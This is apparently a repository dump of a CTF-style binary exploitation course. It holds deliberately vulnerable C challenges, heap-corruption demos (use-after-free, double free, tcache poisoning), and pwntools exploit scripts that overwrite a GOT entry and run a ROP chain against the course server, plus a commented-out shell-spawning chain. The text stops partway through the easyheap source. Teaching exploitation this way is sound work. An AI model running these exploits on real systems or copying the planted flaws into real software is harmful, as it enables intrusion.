RUN chown -R root:root /home/sandbox
RUN chmod -R 755 /home/sandbox

CMD ["/usr/sbin/xinetd", "-dontfork"]

================================================
FILE: 2021/week1/hw/sandbox/docker-compose.yml
================================================
version: '3'

services:
  sandbox:
    build: ./
    volumes:
      - ./share:/home/sandbox:ro
      - ./xinetd:/etc/xinetd.d/sandbox:ro
    ports:
      - "30202:30202"
    expose:
      - "30202"

================================================
FILE: 2021/week1/hw/sandbox/share/Makefile
================================================
all:
	gcc -g -o sandbox sandbox.c


================================================
FILE: 2021/week1/hw/sandbox/share/flag
================================================
FLAG{test}

================================================
FILE: 2021/week1/hw/sandbox/share/run.sh
================================================
#!/bin/sh

exec 2>/dev/null
timeout 60 /home/sandbox/sandbox

================================================
FILE: 2021/week1/hw/sandbox/share/sandbox.c
================================================
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

struct _Register {
    unsigned long rax;
    unsigned long rbx;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rdi;
    unsigned long rsi;
    unsigned long r8;
    unsigned long r9;
    unsigned long r10;
    unsigned long r11;
    unsigned long r12;
    unsigned long r13;
    unsigned long r14;
    unsigned long r15;
} regs;

#define SET_REGENV() do { \
    asm(".intel_syntax noprefix"); \
    asm("xor rax, rax"); \
    asm("xor rbx, rbx"); \
    asm("xor rcx, rcx"); \
    asm("xor rdx, rdx"); \
    asm("xor rdi, rdi"); \
    asm("xor rsi, rsi"); \
    asm("xor r8,  r8"); \
    asm("xor r9,  r9"); \
    asm("xor r10, r10"); \
    asm("xor r11, r11"); \
    asm("xor r12, r12"); \
    asm("xor r13, r13"); \
    asm("xor r14, r14"); \
    asm("xor r15, r15"); \
    asm(".att_syntax noprefix"); \
    } while (0)

#define UPDATE_REGS() do { \
    asm("mov %%rax, %0\n" : "=r"(regs.rax)); \
    asm("mov %%rbx, %0\n" : "=r"(regs.rbx)); \
    asm("mov %%rcx, %0\n" : "=r"(regs.rcx)); \
    asm("mov %%rdx, %0\n" : "=r"(regs.rdx)); \
    asm("mov %%rdi, %0\n" : "=r"(regs.rdi)); \
    asm("mov %%rsi, %0\n" : "=r"(regs.rsi)); \
    asm("mov %%r8, %0\n" : "=r"(regs.r8));   \
    asm("mov %%r9, %0\n" : "=r"(regs.r9));   \
    asm("mov %%r10, %0\n" : "=r"(regs.r10)); \
    asm("mov %%r11, %0\n" : "=r"(regs.r11)); \
    asm("mov %%r12, %0\n" : "=r"(regs.r12)); \
    asm("mov %%r13, %0\n" : "=r"(regs.r13)); \
    asm("mov %%r14, %0\n" : "=r"(regs.r14)); \
    asm("mov %%r15, %0\n" : "=r"(regs.r15)); \
    } while (0)

const char epilogue[] = "H\xc7\xc0<\x00\x00\x00\x0f\x05"; // sys_exit
const char syscall_pattern[] = "\x0f\x05";
const char mov_r8_prefix[] = "I\xb8";
const char call_r8[] = "A\xff\xd0";

const char *regs_str[] = {
    "rax", "rbx", "rcx", "rdx", "rdi", "rsi", "r8",
    "r9", "r10", "r11", "r12", "r13", "r14", "r15"};
const char *call_reg_patterns[] = {
    "\xff\xd0",
    "\xff\xd3",
    "\xff\xd1",
    "\xff\xd2",
    "\xff\xd7",
    "\xff\xd6",
    "A\xff\xd0",
    "A\xff\xd1",
    "A\xff\xd2",
    "A\xff\xd3",
    "A\xff\xd4",
    "A\xff\xd5",
    "A\xff\xd6",
    "A\xff\xd7",
};

#define REG_CNT (sizeof(regs_str) / sizeof(regs_str[0]))

void syscall_monitor()
{
    UPDATE_REGS();
    if (regs.rax == 60) {
        printf("[sys_exit] rdi: 0x%lx, rsi: 0x%lx, rdx: 0x%lx\n", regs.rdi, regs.rsi, regs.rdx);
        exit(regs.rdi);
    } else {
        write(1, "Disallow !!\n", 12);
    }
}

void call_reg_monitor()
{
    write(1, "Disallow !!\n", 12);
}

void jmp_func(char *sc, int *idx, unsigned long func)
{
    memcpy(sc + *idx, mov_r8_prefix, sizeof(mov_r8_prefix)-1);
    *idx += sizeof(mov_r8_prefix)-1;
    
    memcpy(sc + *idx, &func, 8);
    *idx += 8;

    memcpy(sc + *idx, call_r8, sizeof(call_r8)-1);
    *idx += sizeof(call_r8)-1;
}

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    
    char *new_code_buf, *stack;
    int nr, sc_idx, new_code_idx;
    char shellcode[0x280] = {0};
    char prologue[20];

    stack = (char *) mmap((void *) 0x30000, 0x8000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0) + 0x4000;
    new_code_buf = (char *) mmap((void *) 0x40000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                                MAP_SHARED | MAP_ANONYMOUS, -1, 0);

    memcpy(prologue+0, "H\xbc", 2);
    memcpy(prologue+2, &stack, 8);
    memcpy(prologue+10, "H\xbd", 2);
    memcpy(prologue+12, &stack, 8);

    nr = read(0, shellcode, 0x200);
    sc_idx = new_code_idx = 0;

    // ****** instrumentation ******
    memcpy(new_code_buf, prologue, sizeof(prologue));
    new_code_idx += sizeof(prologue);

    while (sc_idx < nr) {
        // syscall
        if (!memcmp(shellcode+sc_idx, syscall_pattern, sizeof(syscall_pattern)-1)) {
            jmp_func(new_code_buf, &new_code_idx, (unsigned long) syscall_monitor);
            sc_idx += sizeof(syscall_pattern)-1;
            continue;
        }

        // call <reg>
        int i = 0;
        for (; i < REG_CNT; i++) {
            if (!memcmp(shellcode+sc_idx, call_reg_patterns[i], strlen(call_reg_patterns[i]))) {
                jmp_func(new_code_buf, &new_code_idx, (unsigned long) call_reg_monitor);
                sc_idx += strlen(call_reg_patterns[i]);
                break;
            }
        }
        if (i < REG_CNT)
            continue;

        // normal insn
        new_code_buf[new_code_idx++] = shellcode[sc_idx++];
    }

    memcpy(new_code_buf+new_code_idx, epilogue, sizeof(epilogue)-1);
    new_code_idx += sizeof(epilogue)-1;

    mprotect(new_code_buf, 0x1000, PROT_READ | PROT_EXEC);
    SET_REGENV();
    ( (void (*)(void)) (new_code_buf) )();

    return 0;
}


================================================
FILE: 2021/week1/hw/sandbox/xinetd
================================================
service sandbox
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/sandbox/run.sh
    user = sandbox
    port = 30202
    flags = REUSE
    bind = 0.0.0.0
    wait = no
}

================================================
FILE: 2021/week1/lab/Got2win/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

RUN useradd -m got2win
RUN chown -R root:root /home/got2win
RUN chmod -R 755 /home/got2win

CMD ["/usr/sbin/xinetd", "-dontfork"]

================================================
FILE: 2021/week1/lab/Got2win/docker-compose.yml
================================================
version: '3'

services:
  got2win:
    build: ./
    volumes:
      - ./share:/home/got2win:ro
      - ./xinetd:/etc/xinetd.d/got2win:ro
    ports:
      - "30203:30203"
    expose:
      - "30203"

================================================
FILE: 2021/week1/lab/Got2win/share/Makefile
================================================
all:
	gcc -g -no-pie -o got2win got2win.c


================================================
FILE: 2021/week1/lab/Got2win/share/flag
================================================
FLAG{test}

================================================
FILE: 2021/week1/lab/Got2win/share/got2win.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

char flag[0x30];

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    int fd = open("/home/got2win/flag", O_RDONLY);
    read(fd, flag, 0x30);
    close(fd);
    write(1, "Good luck !\n", 13);

    unsigned long addr = 0;
    printf("Overwrite addr: ");
    scanf("%lu", &addr);
    printf("Overwrite 8 bytes value: ");
    read(0, (void *) addr, 0x8);

    printf("Give me fake flag: ");
    int nr = read(1, flag, 0x30);
    if (nr <= 0)
        exit(1);
    flag[nr - 1] = '\0';
    printf("This is your flag: ctf{%s}... Just kidding :)\n", flag);

    return 0;
}


================================================
FILE: 2021/week1/lab/Got2win/share/run.sh
================================================
#!/bin/sh

exec 2>/dev/null
timeout 60 /home/got2win/got2win

================================================
FILE: 2021/week1/lab/Got2win/xinetd
================================================
service got2win
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/got2win/run.sh
    user = got2win
    port = 30203
    flags = REUSE
    bind = 0.0.0.0
    wait = no
}

================================================
FILE: 2021/week1/lab/Rop2win/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

RUN useradd -m rop2win
RUN chown -R root:root /home/rop2win
RUN chmod -R 755 /home/rop2win

CMD ["/usr/sbin/xinetd", "-dontfork"]

================================================
FILE: 2021/week1/lab/Rop2win/docker-compose.yml
================================================
version: '3'

services:
  rop2win:
    build: ./
    volumes:
      - ./share:/home/rop2win:ro
      - ./xinetd:/etc/xinetd.d/rop2win:ro
    ports:
      - "30204:30204"
    expose:
      - "30204"

================================================
FILE: 2021/week1/lab/Rop2win/share/Makefile
================================================
all:
	gcc -g -no-pie -static -fno-stack-protector -o rop2win rop2win.c -lseccomp


================================================
FILE: 2021/week1/lab/Rop2win/share/flag
================================================
FLAG{test}

================================================
FILE: 2021/week1/lab/Rop2win/share/rop2win.c
================================================
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>

char fn[0x20];
char ROP[0x100];


// fd = open("flag", 0);
// read(fd, buf, 0x30);
// write(1, buf, 0x30); // 1 --> stdout

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
    seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
    seccomp_load(ctx);
    seccomp_release(ctx);

    printf("Give me filename: ");
    read(0, fn, 0x20);

    printf("Give me ROP: ");
    read(0, ROP, 0x100);

    char overflow[0x10];
    printf("Give me overflow: ");
    read(0, overflow, 0x30);

    return 0;
}


================================================
FILE: 2021/week1/lab/Rop2win/share/run.sh
================================================
#!/bin/sh

exec 2>/dev/null
timeout 60 /home/rop2win/rop2win

================================================
FILE: 2021/week1/lab/Rop2win/xinetd
================================================
service rop2win
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/rop2win/run.sh
    user = rop2win
    port = 30204
    flags = REUSE
    bind = 0.0.0.0
    wait = no
}

================================================
FILE: 2021/week1/lab/exp/Got2win.py
================================================
#!/usr/bin/python3

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r = remote('edu-ctf.zoolab.org', 30203)

read_got = 0x404038
write_plt = 0x4010c0

r.sendlineafter('Overwrite addr: ', str(read_got))
r.sendafter('Overwrite 8 bytes value: ', p64(write_plt))

r.interactive()

================================================
FILE: 2021/week1/lab/exp/Rop2win.py
================================================
#!/usr/bin/python3

from pwn import *
import sys

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r = remote('edu-ctf.zoolab.org', 30204)

ROP_addr = 0x4df360
fn = 0x4df460

pop_rdi_ret = 0x40186a # pop rdi ; ret
pop_rsi_ret = 0x4028a8 # pop rsi ; ret
pop_rdx_ret = 0x40176f # pop rdx ; ret
pop_rax_ret = 0x4607e7 # pop rax ; ret
syscall_ret = 0x42cea4 # syscall ; ret
leave_ret = 0x401ebd # leave ; ret

ROP = flat(
    pop_rdi_ret, fn,
    pop_rsi_ret, 0,
    pop_rax_ret, 2,
    syscall_ret,

    pop_rdi_ret, 3,
    pop_rsi_ret, fn,
    pop_rdx_ret, 0x30,
    pop_rax_ret, 0,
    syscall_ret,

    pop_rdi_ret, 1,
    pop_rax_ret, 1,
    syscall_ret,
)

ROP_bad = flat(
    pop_rdi_ret, fn,
    pop_rsi_ret, 0,
    pop_rdx_ret, 0,
    pop_rax_ret, 0x3b,
    syscall_ret,
)

r.sendafter('Give me filename: ', '/home/rop2win/flag\x00')
r.sendafter('Give me ROP: ', b'A'*0x8 + ROP)
r.sendafter('Give me overflow: ', b'A'*0x20 + p64(ROP_addr) + p64(leave_ret))

# bad
#r.sendafter('Give me filename: ', '/bin/sh\x00')
#r.sendafter('Give me ROP: ', b'A'*0x8 + ROP_bad)
#r.sendafter('Give me overflow: ', b'A'*0x20 + p64(ROP_addr) + p64(leave_ret))

r.interactive()

================================================
FILE: 2021/week2/demo/Makefile
================================================
all: demo_double_free demo_fastbin demo_double_free demo_fastbin demo_heap_overflow demo_largebin demo_malloc_state demo_overlapping_chunks demo_smallbin demo_tcache_poisoning demo_tcache demo_UAF demo_unsortedbin

demo_double_free:
	gcc -g -o $@ $@.c

demo_fastbin:
	gcc -g -o $@ $@.c

demo_heap_overflow:
	gcc -g -o $@ $@.c

demo_largebin:
	gcc -g -o $@ $@.c

demo_malloc_state:
	gcc -g -o $@ $@.c

demo_overlapping_chunks:
	gcc -g -o $@ $@.c

demo_smallbin:
	gcc -g -o $@ $@.c

demo_tcache_poisoning:
	gcc -g -o $@ $@.c

demo_tcache:
	gcc -g -o $@ $@.c

demo_UAF:
	gcc -g -o $@ $@.c

demo_unsortedbin:
	gcc -g -o $@ $@.c



================================================
FILE: 2021/week2/demo/demo_UAF.c
================================================
#include <stdio.h>
#include <stdlib.h>

int main()
{
    void *AA, *BB;
    
    AA = malloc(0x10);
    BB = malloc(0x10);
    free(BB);
    free(AA);
    
    unsigned long *a = malloc(0x10);
    *a = 0xdeadbeef;
    free(a);
    *a = 0xdeadbeef;
    malloc(0x10);
    malloc(0x10);

    return 0;
}

================================================
FILE: 2021/week2/demo/demo_UAF.sh
================================================
#!/bin/bash

gdb ./demo_UAF

================================================
FILE: 2021/week2/demo/demo_double_free.c
================================================
#include <stdio.h>
#include <stdlib.h>

int main()
{
    void *dummy[7];
    unsigned long *A, *B;

    for (int i = 0; i < 7; i++)
        dummy[i] = malloc(0x10);

    A = malloc(0x10);
    B = malloc(0x10);

    for (int i = 0; i < 7; i++)
        free(dummy[i]);

    free(A);
    free(B);
    free(A);
    // clean tcache
    // 不過因為 malloc 會 trigger tcache stashing,
    // 因此我們用 calloc() 直接從 fastbin 取出 chunk
    A = calloc(0x10, 1);
    *A = 0xdeadbeef;
    calloc(0x10, 1);
    calloc(0x10, 1);
    calloc(0x10, 1); // 0xdeadbeef

    return 0;
}

================================================
FILE: 2021/week2/demo/demo_double_free.sh
================================================
#!/bin/bash

gdb ./demo_double_free

================================================
FILE: 2021/week2/demo/demo_fastbin.c
================================================
#include <stdio.h>
#include <stdlib.h>

int main()
{
    void *dummy[7];
    void *chk1, *chk2;

    for (int i = 0; i < 7; i++)
        dummy[i] = malloc(0x10);

    chk1 = malloc(0x10);
    chk2 = malloc(0x10);

    // fill tcache
    for (int i = 0; i < 7; i++)
        free(dummy[i]);

    free(chk1);
    free(chk2);

    return 0;
}

================================================
FILE: 2021/week2/demo/demo_fastbin.sh
================================================
#!/bin/bash

gdb ./demo_tcache

# p *(tcache_entry*) 0x5555555593f0
# p main_arena.fastbinsY

================================================
FILE: 2021/week2/demo/demo_heap_overflow.c
================================================
#include <stdio.h>
#include <stdlib.h>

int main()
{
    unsigned long *chk1 = malloc(0x10);
    void *chk2 = malloc(0x10);
    chk1[3] = 0x31;
    free(chk2);

    return 0;
}

================================================
FILE: 2021/week2/demo/demo_heap_overflow.sh
================================================
#!/bin/bash

gdb ./demo_heap_overflow

================================================
FILE: 2021/week2/demo/demo_largebin.c
================================================
#include <stdio.h>
#include <stdlib.h>

int main()
{
    void *avoid_consolidation[7];
    void *chk[7];

    for (int i = 0; i < 7; i++) {
        chk[i] = malloc(0x410 + i*0x10);
        avoid_consolidation[i] = malloc(0x10);
    }


    for (int i = 0; i < 7; i++)
        free(chk[i]);

    malloc(0x800); // trigger unsorted bin --> large bin
    
    return 0;
}

================================================
FILE: 2021/week2/demo/demo_largebin.sh
================================================
#!/bin/bash

gdb ./demo_largebin

================================================
FILE: 2021/week2/demo/demo_malloc_state.c
================================================
#include <stdlib.h>
#include <stdio.h>

int main()
{
    malloc(0x100);
    return 0;
}

================================================
FILE: 2021/week2/demo/demo_malloc_state.sh
================================================
#!/bin/bash

gdb ./demo_malloc_state

# p main_arena

================================================
FILE: 2021/week2/demo/demo_overlapping_chunks.c
================================================
#include <stdio.h>
#include <stdlib.h>

int main()
{
    unsigned long *A, *B;
    unsigned total;
	A = malloc(0x410);
	B = malloc(0x10);

    *(A-1) = 0x421 + 0x20; // 0x20 == B 的 chunk size
    free(A); // consolidate to top chunk
    
    A = malloc(0x430);
    total = (0x430 / 8);
    A[total - 2] = 0xdeadbeef;
    
    printf("%lx\n", B[0]);
    return 0;
}

================================================
FILE: 2021/week2/demo/demo_overlapping_chunks.sh
================================================
#!/bin/bash

gdb ./demo_overlapping_chunks

================================================
FILE: 2021/week2/demo/demo_smallbin.c
================================================
#include <stdio.h>
#include <stdlib.h>

int main()
{
    void *avoid_consolidation;
    void *unsorted_bin;

    unsorted_bin = malloc(0x410);
    avoid_consolidation = malloc(0x10);

    free(unsorted_bin);
    malloc(0x3f0);
    malloc(0x20); // 0x30 > 0x20
    
    return 0;
}

================================================
FILE: 2021/week2/demo/demo_smallbin.sh
================================================
#!/bin/bash

gdb ./demo_smallbin

================================================
FILE: 2021/week2/demo/demo_tcache.c
================================================
#include <stdio.h>
#include <stdlib.h>

int main()
{
    void *a, *b, *c, *d;
    void *dummy1, *dummy2;
    
    dummy1 = malloc(0x140);
    dummy2 = malloc(0x140);
    free(dummy1);
    free(dummy2);

a = malloc(0x10);
b = malloc(0x10);
c = malloc(0x10);
d = malloc(0x10);

free(a);
malloc(0x10);
free(b);
free(c);
free(d);

    return 0;
}

================================================
FILE: 2021/week2/demo/demo_tcache.sh
================================================
#!/bin/bash

gdb ./demo_tcache

# p *(tcache_entry*) 0x5555555593f0
# p *(tcache_perthread_struct*) 0x555555559010

================================================
FILE: 2021/week2/demo/demo_tcache_poisoning.c
================================================
#include <stdio.h>
#include <stdlib.h>

int main()
{
    unsigned long *A;

    A = malloc(0x10);
    free(A);
    *(A+1) = 0xc0ffee; // overwrite key
    free(A);

    *A = 0xdeadbeef;
    malloc(0x10);
    malloc(0x10); // get 0xdeadbeef

    return 0;
}

================================================
FILE: 2021/week2/demo/demo_tcache_poisoning.sh
================================================
#!/bin/bash

gdb ./demo_tcache_poisoning

================================================
FILE: 2021/week2/demo/demo_unsortedbin.c
================================================
#include <stdio.h>
#include <stdlib.h>

int main()
{
    void *avoid_consolidation[7];
    void *chk[7];

    for (int i = 0; i < 7; i++) {
        chk[i] = malloc(0x440);
        avoid_consolidation[i] = malloc(0x10);
    }

    for (int i = 0; i < 7; i++)
        free(chk[i]);

    return 0;
}

================================================
FILE: 2021/week2/demo/demo_unsortedbin.sh
================================================
#!/bin/bash

gdb ./demo_unsortedbin

================================================
FILE: 2021/week2/hw/beeftalk/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

RUN useradd -m beeftalk
RUN chown -R root:root /home/beeftalk
RUN chmod -R 755 /home/beeftalk

CMD ["/usr/sbin/xinetd", "-dontfork"]

================================================
FILE: 2021/week2/hw/beeftalk/docker-compose.yml
================================================
version: '3'

services:
  beeftalk:
    build: ./
    volumes:
      - ./share:/home/beeftalk:ro
      - ./xinetd:/etc/xinetd.d/beeftalk:ro
    ports:
      - "30207:30207"
    expose:
      - "30207"

================================================
FILE: 2021/week2/hw/beeftalk/share/Makefile
================================================
all:
	gcc -g -o beeftalk beeftalk.c

================================================
FILE: 2021/week2/hw/beeftalk/share/beeftalk.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <time.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/stat.h>
#include "beeftalk.h"
#define MAX_USER 0x8

typedef struct _User {
    char *name;
    char *desc;
    char *job;
    char *pipe_name;
    char *fifo0;
    char *fifo1;
    unsigned long namelen;
    unsigned long token;
    long int assets;
} User;

User *init_user();
void update_user(User*);
void free_user(User*);
void show_user(User*);
User *find_user_by_token(unsigned long);

User *login();
void chat(User*);
void signup();

User *users[ MAX_USER ];
int uridx = 0;

User *init_user()
{
    User *u = malloc(sizeof(User));
    u->name = malloc(0x20);
    u->desc = malloc(0x40);
    u->job = malloc(0x10);
    u->fifo0 = malloc(0x20);
    u->fifo1 = malloc(0x20);
    u->token = 0;
    u->assets = 0;
    u->namelen = 0;

    return u;
}

void free_user(User *u)
{
    free(u->name);
    free(u->desc);
    free(u->job);
    free(u->fifo0);
    free(u->fifo1);
    unlink(u->fifo0);
    unlink(u->fifo1);
    free(u);
    
}

void show_user(User *u)
{
    printf("-----------\n"
            "Name:    %s\n"
            "Desc:    %s\n"
            "Job:     %s\n"
            "Assets:  %ld\n"
            "Token:   %lu\n"
            "-----------\n", u->name, u->desc, u->job, u->assets, u->token);
}

void delete_account(unsigned long token)
{
    User *u = find_user_by_token(token);

    if (u) {
        free_user(u);
        uridx--;
    }
}

User *find_user_by_token(unsigned long token)
{
    for (int i = 0; i < MAX_USER; i++)
        if (users[i] && users[i]->token == token)
            return users[i];

    return NULL;
}

User *login()
{
    unsigned long token = 0;
    User *u;
    
    printf("Give me your token: \n> ");
    token = readlx64();

    u = find_user_by_token(token);
    if (u)
        puts("[+] Login successfully !");
    else
        puts("[-] Login failed");

    return u;
}

void update_user(User *u)
{
    printf("Name: \n> ");
    readstr(u->name, u->namelen);
    
    printf("Desc: \n> ");
    readstr(u->desc, 0x40);
    
    printf("Job: \n> ");
    readstr(u->job, 0x10);
    
    printf("Money: \n> ");
    u->assets = readi64();

    puts("Update successfully !");
}

void signup()
{
    if (uridx >= MAX_USER) {
        puts("Our server can't hold more users");
        return;
    }

    User *tmpuser = init_user();
    char buf[0x100];
    int nr;
    
    printf("What's your name ?\n> ");
    nr = safe_read(0, buf, 0x100);
    if (nr > 0x20)
        tmpuser->name = realloc(tmpuser->name, nr);
    
    tmpuser->namelen = nr;
    memcpy(tmpuser->name, buf, nr);
    
    printf("What's your desc ?\n> ");
    readstr(tmpuser->desc, 0x40);
    
    printf("What's your job ?\n> ");
    readstr(tmpuser->job, 0x10);
    
    printf("How much money do you have ?\n> ");
    tmpuser->assets = readi64();

    show_user(tmpuser);
    printf("Is correct ?\n(y/n) > ");

    if (readc() == 'n') {
        free_user(tmpuser);
        puts("Sorry, plz signup again :(");
        return;
    }

    do {
        tmpuser->token = (((unsigned long) rand()) << 32) + (unsigned long) rand() + tmpuser->assets;
        sprintf(tmpuser->fifo0, "/tmp/%lx-0", tmpuser->token);
    } while (!access(tmpuser->fifo0, F_OK));

    sprintf(tmpuser->fifo1, "/tmp/%lx-1", tmpuser->token);    
    mkfifo(tmpuser->fifo0, 0666); // for send
    mkfifo(tmpuser->fifo1, 0666); // for recv
    users[uridx++] = tmpuser;

    printf("Done! This is your login token: %lx\n", tmpuser->token);
}

void chat(User *u)
{
    char buf[0x100] = {0};
    char fifo0[0x20] = {0};
    char fifo1[0x20] = {0};
    int nr, len;
    int fd0, fd1;
    int connector = 0;
    char *chat_buf = (char *) malloc(0x100);

    printf("Connect to room with token ?\n(y/n) > ");
    if (readc() == 'y')
    {
        printf("Connection token: \n> ");
        readstr(buf, 0x10);
        sprintf(fifo1, "/tmp/%16s-0", buf);
        sprintf(fifo0, "/tmp/%16s-1", buf);

        if (access(fifo1, F_OK) == -1 || access(fifo0, F_OK) == -1) {
            puts("[-] Match failed");
            free(chat_buf);
            return;
        }

        fd0 = open(fifo0, O_RDONLY);
        fd1 = open(fifo1, O_WRONLY);
        puts("Match successfully !");

        connector = 1;
    }
    else
    {
        strcpy(fifo0, u->fifo0);
        strcpy(fifo1, u->fifo1);

        puts("Waiting for matching ...");
        fd1 = open(fifo1, O_WRONLY);
        fd0 = open(fifo0, O_RDONLY);
        puts("Match successfully !");
    }

    if (fd0 == -1 || fd1 == -1) {
        puts("[-] Match failed");
        free(chat_buf);
        return;
    }

    puts("\n*--------** Room **--------*");
    if (connector)
    {
        while (1)
        {
            // send
            printf("> ");
            nr = safe_read(0, buf, 0x80);
            sprintf(chat_buf, "%s: ", u->name); // name prefix
            len = strlen(chat_buf);
            memcpy(chat_buf + len, buf , nr); // copy content
            write(fd1, chat_buf, nr + len);

            // maybe you want to exit
            if (strstr(buf, "I need to go :("))
                break;

            // recv
            nr = safe_read(fd0, chat_buf, 0x100);
            write(1, chat_buf, nr);

            // maybe he/she want to exit
            if (strstr(chat_buf, "I need to go :("))
                break;
        }
    }
    else
    {
        while (1)
        {
            // recv
            nr = safe_read(fd0, chat_buf, 0x80);
            write(1, chat_buf, nr);

            // maybe he/she want to exit
            if (strstr(chat_buf, "I need to go :("))
                break;
            
            // send
            printf("> ");
            nr = safe_read(0, buf, 0x80);
            sprintf(chat_buf, "%s: ", u->name); // name prefix
            len = strlen(chat_buf);
            memcpy(chat_buf + len, buf , nr); // copy content
            write(fd1, chat_buf, nr + len);

            // maybe you want to exit
            if (strstr(buf, "I need to go :("))
                break;
        }
    }
    
    puts("\n*--------** Chat end **--------*");
    sleep(1);
    close(fd0);
    close(fd1);
    free(chat_buf);

    return;
}

int main()
{
    srand(time(NULL));
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    puts(banner);

    User *user;
    while (1)
    {
        while (1)
        {
            show_begin_menu();
            switch (readu64()) {
                case 1:
                    if (user = login())
                        break;
                    continue;
                case 2:
                    signup();
                    continue;
                case 3:
                    puts("Goodbye !");
                    goto leave;
                default:
                    puts("Invalid option");
                    continue;
            }
            break;
        }
        printf("Hello %s, have a nice day !\n", user->name);

        while (1)
        {
            show_chat_menu();
            switch (readu64()) {
                case 1:
                    update_user(user);
                    continue;
                case 2:
                    chat(user);
                    continue;
                case 3:
                    printf("Are you sure ?\n(y/n) > ");
                    if (readc() == 'y') {
                        delete_account(user->token);
                        puts("Delete successfully !");
                        break;
                    }
                    continue;
                case 4:
                    puts("Login again");
                    break;
                default:
                    puts("Invalid option");
                    continue;
            }
            break;
        }        
    }
leave:
    return 0;
}

================================================
FILE: 2021/week2/hw/beeftalk/share/beeftalk.h
================================================
#ifndef _BEEFTALK_H_
#define _BEEFTALK_H_

const char *banner = ""
"  ____             __ _        _ _    \n"
" | __ )  ___  ___ / _| |_ __ _| | | __\n"
" |  _ \\ / _ \\/ _ \\ |_| __/ _` | | |/ /\n"
" | |_) |  __/  __/  _| || (_| | |   < \n"
" |____/ \\___|\\___|_|  \\__\\__,_|_|_|\\_\\\n"
"\n"
"The greatest chat software in the world !\n"
"Welcome ! If you use our service first time, make sure you have an account :)";

void readstr();
void show_chat_menu();
void show_begin_menu();
unsigned char readc();
unsigned long readu64();
unsigned long readlx64();
long int readi64();
ssize_t safe_read(int, void*, size_t);

ssize_t safe_read(int fd, void *ptr, size_t count)
{
    int nread = 0;
    nread = read(fd, ptr, count);
    if (nread <= 0)
        exit(1);
    return nread;
}

void readstr(char *ptr, unsigned cnt)
{
    int nread = 0;
    nread = safe_read(0, ptr, cnt + 1);
    ptr[nread - 1] = '\0';
}

unsigned long readu64()
{
    char str[0x20] = {0};
    readstr(str, 0x10);
    return strtoul(str, NULL, 10);
}

unsigned long readlx64()
{
    char str[0x20] = {0};
    readstr(str, 0x10);
    return strtoul(str, NULL, 16);
}

long int readi64()
{
    char str[0x20] = {0};
    readstr(str, 0x10);
    return strtol(str, NULL, 10);
}

unsigned char readc()
{
    char c = getc(stdin);
    getc(stdin);
    return c;
}

void show_chat_menu()
{
    puts("1. update information");
    puts("2. chat with other");
    puts("3. delete account");
    puts("4. logout");
    printf("> ");
}

void show_begin_menu()
{
    puts("1. login");
    puts("2. signup");
    puts("3. leave");
    printf("> ");
}

#endif

================================================
FILE: 2021/week2/hw/beeftalk/share/flag
================================================
FLAG{test}

================================================
FILE: 2021/week2/hw/beeftalk/share/run.sh
================================================
#!/bin/sh

exec 2>/dev/null
timeout 60 /home/beeftalk/beeftalk

================================================
FILE: 2021/week2/hw/beeftalk/xinetd
================================================
service beeftalk
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/beeftalk/run.sh
    user = beeftalk
    port = 30207
    flags = REUSE
    bind = 0.0.0.0
    wait = no
}

================================================
FILE: 2021/week2/hw/easyheap/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

RUN useradd -m easyheap
RUN chown -R root:root /home/easyheap
RUN chmod -R 755 /home/easyheap

CMD ["/usr/sbin/xinetd", "-dontfork"]

================================================
FILE: 2021/week2/hw/easyheap/docker-compose.yml
================================================
version: '3'

services:
  easyheap:
    build: ./
    volumes:
      - ./share:/home/easyheap:ro
      - ./xinetd:/etc/xinetd.d/easyheap:ro
    ports:
      - "30211:30211"
    expose:
      - "30211"

================================================
FILE: 2021/week2/hw/easyheap/share/Makefile
================================================
all:
	gcc -g -o easyheap easyheap.c

================================================
FILE: 2021/week2/hw/easyheap/share/easyheap.c
================================================
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define MAX_BOOK_NUM 0x10

typedef struct _Book {
    char *name;
    unsigned long index;
    unsigned long price;
    unsigned long namelen;
} Book;

